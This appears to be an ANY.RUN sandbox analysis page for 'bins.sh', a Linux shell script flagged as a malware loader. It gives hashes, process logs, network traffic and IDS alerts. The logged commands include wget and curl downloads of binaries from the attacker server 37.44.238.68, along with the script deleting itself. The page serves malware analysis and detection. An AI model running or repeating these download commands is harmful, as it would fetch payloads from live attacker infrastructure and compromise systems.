File name:	bins.sh
Full analysis:	https://app.any.run/tasks/c3714dfa-0318-4e91-b4c1-7cb24e2ed3e6
Verdict:	Malicious activity
Threats:	A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Malware Trends Tracker >>>
Analysis date:	December 14, 2024, 04:02:09
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit loader
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (405)
MD5:	21D9061CD96A1588F3C6DCB8FA140A60
SHA1:	0EFD102495E37192C6B694413CE46BED5BAC8026
SHA256:	E33425DC169277128881BE12AB52E7AE8F2072479F15B71E125B5F43C61B9DE0
SSDEEP:	192:dDHu33wjAodqJsIqjfEPf9ntRg/hx32XmSZC6BMusoXAgXAodqJsEDHu33EtRg/K:TjAodosIqjfEPfa2XmSZC6BMeAodosYh

PID	CMD	Path	Indicators	Parent process
38752	/bin/sh -c "sudo chown user /home/user/Desktop/bins\.sh && chmod +x /home/user/Desktop/bins\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: user Integrity Level: UNKNOWN
38753	sudo chown user /home/user/Desktop/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38754	chown user /home/user/Desktop/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38755	chmod +x /home/user/Desktop/bins.sh	/usr/bin/chmod	—	dash
User: user Integrity Level: UNKNOWN Exit code: 0
38756	sudo -iu user /home/user/Desktop/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN
38757	/bin/bash /home/user/Desktop/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN
38758	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38759	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38760	wget http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 2048
38761	curl -O http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb	/snap/snapd/20290/usr/bin/snap	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.49:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	204	185.125.190.49:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	204	185.125.190.17:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38835	wget	GET	404	37.44.238.68:80	http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD	unknown	—	—	—
38830	busybox	GET	404	37.44.238.68:80	http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O	unknown	—	—	—
—	—	GET	404	37.44.238.68:80	http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY	unknown	—	—	—
38895	wget	GET	404	37.44.238.68:80	http://37.44.238.68/bins/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9	unknown	—	—	—
—	—	GET	404	37.44.238.68:80	http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O	unknown	—	—	—
—	—	GET	404	37.44.238.68:80	http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW	unknown	—	—	—
38925	wget	GET	404	37.44.238.68:80	http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW	unknown	—	—	—

PID	Process	IP	Domain	ASN	CN	Reputation
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	185.125.190.49:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	185.125.190.17:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
38760	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
—	—	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38799	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38804	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38830	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38835	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38860	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown

Domain	IP	Reputation
connectivity-check.ubuntu.com	185.125.190.49 91.189.91.49 91.189.91.48 91.189.91.96 185.125.190.98 185.125.190.96 185.125.190.97 185.125.190.48 91.189.91.98 91.189.91.97 185.125.190.18 185.125.190.17 2620:2d:4002:1::198 2620:2d:4000:1::2a 2620:2d:4000:1::96 2001:67c:1562::24 2620:2d:4000:1::23 2620:2d:4002:1::196 2001:67c:1562::23 2620:2d:4000:1::98 2620:2d:4000:1::97 2620:2d:4000:1::22 2620:2d:4002:1::197 2620:2d:4000:1::2b	whitelisted
google.com	142.250.184.206 2a00:1450:4001:829::200e	whitelisted
198.100.168.192.in-addr.arpa	—	unknown
conn.masjesu.zip	87.121.86.228 37.44.238.68	unknown

PID	Process	Class	Message
—	—	Misc Attack	ET COMPROMISED Known Compromised or Hostile Host Traffic group 18
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP

General Info

bins.sh

21D9061CD96A1588F3C6DCB8FA140A60

0EFD102495E37192C6B694413CE46BED5BAC8026

E33425DC169277128881BE12AB52E7AE8F2072479F15B71E125B5F43C61B9DE0

192:dDHu33wjAodqJsIqjfEPf9ntRg/hx32XmSZC6BMusoXAgXAodqJsEDHu33EtRg/K:TjAodosIqjfEPfa2XmSZC6BMeAodosYh

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Modifies file or directory owner

Executes commands using command-line interpreter

Connects to the server without a host name

Reads /proc/mounts (likely used to find writable filesystems)

Executes the "rm" command to delete files or directories

Uses wget to download content

Potential Corporate Privacy Violation

Connects to unusual port

Process requests binary or script from the Internet

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings